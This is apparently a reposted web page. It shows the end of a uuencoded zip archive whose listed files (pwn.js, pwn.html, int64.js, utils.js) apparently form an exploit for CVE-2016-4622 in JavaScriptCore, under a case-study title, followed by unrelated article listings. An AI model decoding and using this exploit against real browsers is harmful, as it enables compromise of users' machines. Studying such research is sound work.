  1486. M:4-`UA#,>G;K?)159\$T"+B";H^&/IQTN_:IU=K%G>L2S4_)<X49>&=F2-Z8
  1487. M0'':B1&/E%Z3%?,[2RV0VY)$`JE!2[FTM1QBK7KXKI:I/6=F#3'3>%E=!3AQ
  1488. MX9ZS-^K^6%&)N094]*?,"/5;D?&ZY6EN:;T7MO2K@*^XEZ!MB%QUW>[,A:<T
  1489. M@');D0O-ZZAS%X8L#%/O'_AM->PD%61OU_0^H*]]7Y,%HT$%CIVI@(H&;[W`
  1490. M9K>4K::FK]Q#^`(-.E\*7]5,6XXR[IPIB]ZU-?MFST6'YIW"N@VGY\W=`D9E
  1491. M`H4TR.R1D5'7*;8%O`H<DNS/V.L.VG!RL4=#FE/_@X`*Q3:[]Q_JBFD;SD[W
  1492. M\#X^_2IZ/6,LW+JHQDBXF=.L,E=,;5?1>ME7KNM6#Z)<5;I['&\CI3P2=[@]
  1493. MI$PDU%KD-NWM?;YM58N>R[>PS<GXZ^C^?OAP,Z*D/'=7GM>&\O<EYUL*Z=.I
  1494. MK62HF$_`H'+RU4_OC;MF#]Y[V55=N4-1(%W;9?L^)O9R['>R^8-^)WLUZ-N+
  1495. MT_XMQNS%X1]02P,$%`````@`)*Y&2>G85Y(7"@``Z!H```H`'`!S<F,O<'=N
  1496. M+FIS550)``.SJO97UZKV5W5X"P`!!/4!```$4````*U9ZW+;N!7^GZ=`\D=4
  1497. MK="RXWHS=K+3Q+G4F2;>B;/)3#UN!B(A$0E$<`E0LI+Z6?HP?;%^!P!)Z.)N
  1498. MNE/M[,J2@'/YSG=NW/W]>_O[["V7)1,WE=+2LKG.&R52]M)_-LP6@DV:&>-E
  1499. M3H>K6B]D+@SC;#`7<UVO!DQ/OHC,LF4ALX)EO&03P1HCW'FK62UX3M?9LI96
  1500. M,%Y/I*UYO6+^/N-Y7@MCA$EQ@>Z<Z6I5RUEA69(-V>'XX)A=\GDC%'M=ZW__
  1501. M*YQZ+WYK)"ZRQDIETB_&Z9"E/3["!SKD9=6B<ZZJY5Q:N?"JV-G'EP])^L.C
  1502. MX\-#-J/O83>S2\T*J&=*+*`S7.96ZC*2<(*?^5=9SIB>]BZ06'Q^PQ?\,JME
  1503. M90,XWCC"DD^DDG9%P&1`!H#HIF9Z6;(I_RIVW$SO>6]M4Y=>@E=&>N@CV5UN
  1504. MWV.Z9L;6,#"]-VW*S)E/5_4T\2>&[/L]AM>"UXCF4W9U?>H^3W$SH2\EOAR?
  1505. MXNT).QC3'WM[0W>"7CRM&E,DDNVQ<7KPZ-%/P]/V)P9[G]4U1X0;8XD-9.JJ
  1506. M$O[;3](6+W0S48"K,V`"73PU2F8B&8_8]P57C;B8GK#6]@3FXH02Y<P6WC!G
  1507. MM/?E^A0T<P@=G;+;VZ'W)'QU[C@QK?7<JTTF5X^N<>0V1I;'$#KM0)=;ENG2
  1508. M(D&(\&\N+SRTE0;-1$TQ[",0PN*8]:&0N*"47AI$F4]MX,D=(09KG:"/;Z-8
  1509. MT5G\GI#<[5#][Y'Z?AM%Z,>B=`;?Y:S130@4F4)QPEO*30!S'>L_%$,2N!E!
  1510. MA*B-T%DALJ],>KKCKBP%`[Z+1I6BYK`A0DV:C]W720M;$'Q?FG?\71*2`'A$
  1511. M3G1T^-50K$A3G^M(6KT0(WP+M9TJ(Q"YID)F;]<TJGG[OMYU8APSSFU(>R+4
  1512. M3.D)5UN%U/..>TZ$6MH54J)Q5$WQ=:\\JJ2=E=6R3&+ZH"8T1+DHWSN'*L3]
  1513. MTOW>0$YW+9#E`ZSI?CU_\8$@=F:&%&&%1DJS!%8;T7U)/L@R%S=MO2K%C847
  1514. M0C"CM!W%&E!.<SJF)-*$NT-*&CMB7XBA2S"21(%>9IBR2UEFE*.B)F6-R@DJ
  1515. MSB#391HI$"4*(*I,I")89)WQ5'F=TUT*&#T72X)?\7J&B+4W.XQJ0*_GEZZP
  1516. MK@$4\>PMMT7J#R;#U.IP^M'Q,*U%I3C28__J'_SAM^N]_=F(#0;#U#03!(:R
  1517. MYL\AG^AUV^O?D>GC&^1Z2/8-0]HZ48HE>Z4T1_US29T<1-+;&I"C.[N3Z.V5
  1518. MJ-=ZD_^ABSK@,Y8#]W1-"K]:A^4:JJDEK.L*S//5B/?%B`(O1.7BTFOJ^J9R
  1519. MJ;,.R:VO1X&4@)02'V:WWXY3=M8Z$`C1\]J!&:/2>67:^P>@%V)9$0FI9&^>
  1520. MQ@2$'-1$OF#H@(JXHLH44)24A4$<7F1GSBWO>H=[ITN4P>Q7O#]VXKM+ARW%
  1521. ME[BIRX%E7TN]="AENJZI4)@.K?,7;@S9[=8HL@/"II1EF(8:5^D&[2D]'72Z
  1522. M'Z7L$S(5Z@J^$.L5CJK0WD9I8Z:UE-*^ULJ9&?L;F4"&EKL\/O):A:]V4WG#
  1523. M?`0$>0U;#=+3-UQ8PV>D3"G@@'`N'4!HM:8(M5MGKAFWLA%.D@8R#-SD9'Z$
  1524. M#MZRK;)XVDD-)'-3F;OJ2O=2*K55MW]L`&Z3M^`W(7U[G!*?\-OJ_501AA,O
  1525. M`Y$I;?+@ZD_7Y+D;/^!]J,D=:1^TLDCE%W,FE/HK;!5UT.T&I^2J2[XQZA,9
  1526. M,?)_X=\N@^>?3=\:1BQKP-#2LEGCHL!^YP4!;R[/W,24<4IZ:JX[PE3J\F'K
  1527. M*#K-RQN1-:Z4FQ%0GC6HVC2O$YI4K$,-&;$T38<_8D3>4`&#5EX375+V;*&E
  1528. MF]O1T28K5LG,C?S<+PBR!/O1P,]?]"Z.;SI8-J7//[M&"`$?,&:-V#M=BNC>
  1529. MX4^[+KI[UIU?(VF2:V&(]."`4N`2MTBS44>^7$ZGPL6`@-.*HKH0->%BAI'6
  1530. M@\=W:ITJ/@-X%[A6T\[W6MB+9?E+Z!*75%C_21P1=28JN^/GYZMS<O@EQN-/
  1531. MA2C_YN:^<_-.V[^+6L=&W!60^><,I+S$]D5XB>6G`AGD+E['W.V)_33JA#&C
  1532. M3]8^8?![<_F1QM-DV$\@DX8@G*H5)E:NC(CH?8FY($I<-]D":S$`V%2HW&1(
  1533. MU<J&(37O&;%P)>J$<KK7Y6?@9V7^BD`^84F?;P-0:#RF5`^O@_%@.(Q-]CUP
  1534. M9QG::E=]36GWQJ?4\MLIN$-N.&('QV$ZB*K'J[BVL+^P!]CW@J`X`*365\"G
  1535. M:XM+=`QVOJ+9E;H*<K/!:J$(0>H>PH;G#"$`\8:%6L#15OU*ELA4I*QLE*IL
  1536. M/6SE<O;ZC-5-B39`<^!V&T#[;<!D8J;;XPW#7\B+.0HTV6.*,$!V$E%O.$9"
  1537. MO%<:Q<0M&9T;U$!Y/`N['+NC^_H`+`N)@3.YG_1(]8UW[>)P<^RNW4#&724J
  1538. M!*_:,NG\H/%WU(\(2XZ$I[6TEK,9\'M]ENY,![#)R%E)1(B_'H5=^:(4T:#8
  1539. M<23=Z!%WI=3IQI#VEJ]HMG8@DY6.7ZBRS73J'$A3=O++%O-B,-<FG:ENROS$
  1540. M47'-@F[2[N;IAX^'/?U::_[H9(.SV`+KL'<5'5?6QKK-X<9O+6MJN@<%ZV9=
  1541. M5!8ZO[FXGA"AH/;-^0>@/Z^D\H^?B&:^&<V%+72^+B2,$W$)))>B_9M4CT+M
  1542. MV=P96NB?7+/WN$5MCA`.R_H>/DQ6M+:Z!;0M`QOK1$?NJ\/KNQX4=&4QVE'\
  1543. M?!/LVA"Y8_/Q!S<><[0O?B5)-ZHM_EB7U3ZCB#:LT;TUK!S]-P"[8\OK"S85
  1544. M_Y1N!WP=Z79I<-39"@?QYZY@_'S-/N%2&PPZFFY%!/G^?XC'+J`C?7>@[6'&
  1545. M#3JZ!OB6X[NP'5%=OP-@!ZN[V1]-G<?)<&M)CKKA*WG3^&T2,R6J`Q7-W*>F
  1546. M7Y[:60&XS:F]81=26G\-CQU*)N85EF`=C=.0^GS%<C'EC;(CUH^@;1$)NU_&
  1547. M*Y[1TUWH.AYA#-`-QD3H*3"`_5Y_]FJ1O;>G_1[0EEJ?VSW+T+K=^2'1[31*
  1548. M_PBQC?;N9<7K@ZY6,4ZTHCSO6G#23I)MMVT?/6'"EL91<K<?T^.C=A38>O[0
  1549. MVOK?_&KOQQ/)+M\Z<N_RC?8]\`4MTTVQU,B7\/%D=\0OW&3\3=!<GCM+6SF4
  1550. M%8*;%4T8IJD7$D)98@2!]EH`6)GUESY*L7SR+.<5YKV?3TX6TDA[AL:/>E\.
  1551. MTVU'HCDL=N;P"/^Y<HN6_^?`OW<C;UL=]J[9,\0(K5_<?Q`Y_UYKN\'U\&@1
  1552. M"S1\EVYQV-BB1=YQW3V^=N$/HP8]1^F'L]"%/)>#8.*.L?0_6SCRUVT>F6@?
  1553. MD$<IY]I]_/#&"0D#D35"3>E)3@T',)I-/#U#7PN:DDQI0QMA0+1#+HVW@.YO
  1554. M>J[['U!+`P04````"`"Z;D9)MPF8]%<#``!?"```#``<`'-R8R]U=&EL<RYJ
  1555. M<U54"0`#4#OV5]>J]E=U>`L``03U`0``!%````"E5>%NVS80_N^GN!88+,.>
  1556. M[#A#$,3S@+9PBP)=,33I@"$+"EJB(JX4*9"4,Z'(L^QA^F*](R6+2A,,V/1'
  1557. MPMW'.WX?OZ.6R\ER"1^=D,*U4#0J<T(KFV*4$J]TW1IQ6SI(LAFL5R=G<,FJ
  1558. MADMX8_37?PA%L`_<-4:!*SF4_&^6\TQ43(+AM>&6*\>H*.C"(V[%@2O8MXZG
  1559. MD[XA+4OV,_@R`7Q,*)=,5U.8PSYU^M(9H6Z3D[/9++7-WCJ3_+B>;2;W_Z<]
  1560. M,&-8.]Z$%$6;4-+VFSDP@Y4L;.'Z9N,CA3:04%A@<+7!U\^^GDTE5[>NQ,A\
  1561. M/O/0P,:F=6/+Q',DW+6XF>'F8ZX$^DL+E4RGC]':"\5,"SES;*#%<VP;<<+Z
  1562. M/77K]8JH-:HGAV_,]NQ$`5VDVSS\`&O8;N%D(.!*H^]`\3NX:FN^,T:;Y/E;
  1563. M=6!2Y-2TZ_:\IT32>)XH#ZWZ*)0[?T%:/VBU!#K#IR0=82DTWR+^N*M.R>7Z
  1564. M!I?4S%C^5KF^0><1L<`5"T#;C-7V:[W,\=GG354G)'$LCD/*Z!P*IR__N-I=
  1565. M?OIM]^'3[MWNU]W[*WB&2DT;E?-"*)Y/A]WYD]J"9YT61E>A<*20Q!7_YBK?
  1566. M=20`4NDVU]?)RD9]QB4>:Z7(.-$6<T\Z!J)&CAKZ!6G%:A(KPA!;C^F/YQ<X
  1567. M'PC1$[*V]DW.%[!:P!2F40G/*9@]8(.E$=.![D?'$.`!\Z<:C'\I*NQ1"#3X
  1568. M@1L;#:\5E9#,R!84JS!=MZ[$;*7S1N)U0C3QJF@RASR3_FR37C(L_4)*G3&<
  1569. M?:QF.6B5X:<&=M#HY4;QC%M+DU9R5@,+8+H0(6_(XRA!]GG9*'J!KKEAW75Y
  1570. M]'U3%-P$-8+[O05>^G!RWLG03\CO`@%'9#0GH4R$;C!WN@[X`7VZ?@)>2,W<
  1571. MV4\>'^"O0^0!/CZ-P5;$[N+X,_`CL,"RLN&Q^?I>A]"$4)L^3H?(\=KB4M^-
  1572. M%R#X>D4CZ^MM1LEN(X]JX=U&/;Z?PLB`]XO)\3N<TG<\1I=[[/WX"O>#_42W
  1573. MT4)ZPOWXX%ZD:O[_<KP6_[-FO5-2RUWW;WI4MT[;Q]4@[Q\8#L]><M^W,ZUG
  1574. MCUI?Q)T6<>IT3;G!@$.R<]E%;+<PYCC)LP1W^0U02P$"'@,*``````!1KD9)
  1575. M````````````````!``8`````````!``[4$`````<W)C+U54!0`#":OV5W5X
  1576. M"P`!!/4!```$4````%!+`0(>`Q0````(`!>N1DFX3#HD=P,``"8)```.`!@`
  1577. M``````$```"D@3X```!S<F,O96UA:6PN:'1M;%54!0`#G:KV5W5X"P`!!/4!
  1578. M```$4````%!+`0(>`Q0````(`/1N1DD56OBT%@8``&@2```,`!@```````$`
  1579. M``"D@?T#``!S<F,O:6YT-C0N:G-55`4``[L[]E=U>`L``03U`0``!%````!0
  1580. M2P$"'@,4````"``/KD9)E(.)\4P#``!0"```#``8```````!````I(%9"@``
  1581. M<W)C+W!W;BYH=&UL550%``..JO97=7@+``$$]0$```10````4$L!`AX#%```
  1582. M``@`)*Y&2>G85Y(7"@``Z!H```H`&````````0```*2!ZPT``'-R8R]P=VXN
  1583. M:G-55`4``[.J]E=U>`L``03U`0``!%````!02P$"'@,4````"`"Z;D9)MPF8
  1584. M]%<#``!?"```#``8```````!````I(%&&```<W)C+W5T:6QS+FIS550%``-0
  1585. H._97=7@+``$$]0$```10````4$L%!@`````&``8`Y`$``.,;````````
  1586. `
  1587. end
  1588.  
  1589. --[ EOF

Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622(转)的更多相关文章

  1. 【ASE模型组】Hint::neural 模型与case study

    模型 基于搜索的提示系统 我们的系统用Pycee针对语法错误给出提示.然而,对于语法正确.结果错误的代码,我们需要另外的解决方式.因此,我们维护一些 (错误代码, 相应提示) 的数据,该数据可以由我们 ...

  2. Case Study: Random Number Generation(翻译教材)

    很荣幸,经过三天的努力.终于把自己翻译的教材做完了,现在把它贴出来,希望能指出其中的不足.   Case Study: Random Number Generation Fig. 6.7  C++ 标 ...

  3. Data Visualization – Banking Case Study Example (Part 1-6)

    python信用评分卡(附代码,博主录制) https://study.163.com/course/introduction.htm?courseId=1005214003&utm_camp ...

  4. 课程三(Structuring Machine Learning Projects),第一周(ML strategy(1)) —— 1.Machine learning Flight simulator:Bird recognition in the city of Peacetopia (case study)

    []To help you practice strategies for machine learning, the following exercise will present an in-de ...

  5. Javascript 中 switch case 等于 (== )还是 恒等于(===)?

    Javascript 中 switch case 等于 (== )还是 恒等于(===)? 可以测试一下以下代码,这个 case 中是 等于(==)还是恒等于(===) <script> ...

  6. ECMAScript 5 compatibility shims for legacy JavaScript engines

    ECMAScript 5 compatibility shims for legacy JavaScript engines https://github.com/es-shims/es5-shim

  7. 关于运维之故障复盘篇-Case Study

    关于故障的事后复盘,英文名 Case Study是非常有必要做的,当然是根据故障的级别,不可能做到每个故障都Case Study,除非人员和时间充足: 文档能力也是能力的一种,一般工程师的文档能力比较 ...

  8. 李宏毅机器学习课程---2、Regression - Case Study

    李宏毅机器学习课程---2.Regression - Case Study 一.总结 一句话总结: 分类讨论可能是比较好的找最佳函数的方法:如果 有这样的因素存在的话 模型不够好,可能是因素没有找全 ...

  9. 你从未见过的Case Study写作指南

    Case Study,意为案例分析,Case Study与其它的留学论文作业最大的的差别就在于Case Study在论文开始就需要明确给出论,然后再阐述这个结论的论证依据和理由.留学生们需要知道的是C ...

随机推荐

  1. 南阳ACM 题目8:一种排序 Java版

    一种排序 时间限制:3000 ms  |  内存限制:65535 KB 难度:3 描述 现在有很多长方形,每一个长方形都有一个编号,这个编号可以重复:还知道这个长方形的宽和长,编号.长.宽都是整数:现 ...

  2. Spring注解@Resource和@Autowired的区别

    @Resource和@Autowired都是用来做bean的依赖注入的,两者都可以写在字段和setter方法上. java为我们提供了 javax.annotation.Resource这个注解. s ...

  3. 「模板」AC自动机(ACAM)

    #include <algorithm> #include <cstdio> #include <cstring> #include <queue> u ...

  4. Linux系统基本网络配置之ifconfig命令

    Linux系统基本网络配置之ifconfig命令 一.Linux系统的网络配置基本包括:网络IP的配置.网关路由的配置.主机DNS的配置.主机名的配置等,本篇注重介绍网络IP的配置. 二.Linux系 ...

  5. OScached页面缓存的入门使用

    OSCache的使用: 一,环境的搭建: 1,把oscache.jar file放在 /WEB-INF/lib 目录下(Put the oscache.jar file in the /WEB-INF ...

  6. 【BZOJ4817】【SDOI2017】树点涂色 [LCT][线段树]

    树点涂色 Time Limit: 10 Sec  Memory Limit: 128 MB[Submit][Status][Discuss] Description Bob有一棵n个点的有根树,其中1 ...

  7. bzoj 1702: [Usaco2007 Mar]Gold Balanced Lineup 平衡的队列——map+hash+转换

    Description N(1<=N<=100000)头牛,一共K(1<=K<=30)种特色, 每头牛有多种特色,用二进制01表示它的特色ID.比如特色ID为13(1101), ...

  8. 深入浅出MyBatis:JDBC和MyBatis介绍

    JDBC相关概念 Java程序都是通过JDBC连接数据库的,通过SQL对数据库编程,JDBC是由SUN公司提出的一些列规范,只定义了接口规范,具体实现由各个数据库厂商去实现,它是一种典型的桥接模式. ...

  9. 【洛谷 P4008】 [NOI2003]文本编辑器 (Splay)

    题目链接 \(Splay\)先练到这吧(好像还有道毒瘤的维护数列诶,算了吧) 记录下光标的编号,维护就是\(Splay\)基操了. 另外数据有坑,数据是\(Windows\)下生成了,回车是'\n\r ...

  10. hdu 1879 继续畅通工程 (并查集+最小生成树)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1879 继续畅通工程 Time Limit: 2000/1000 MS (Java/Others)    ...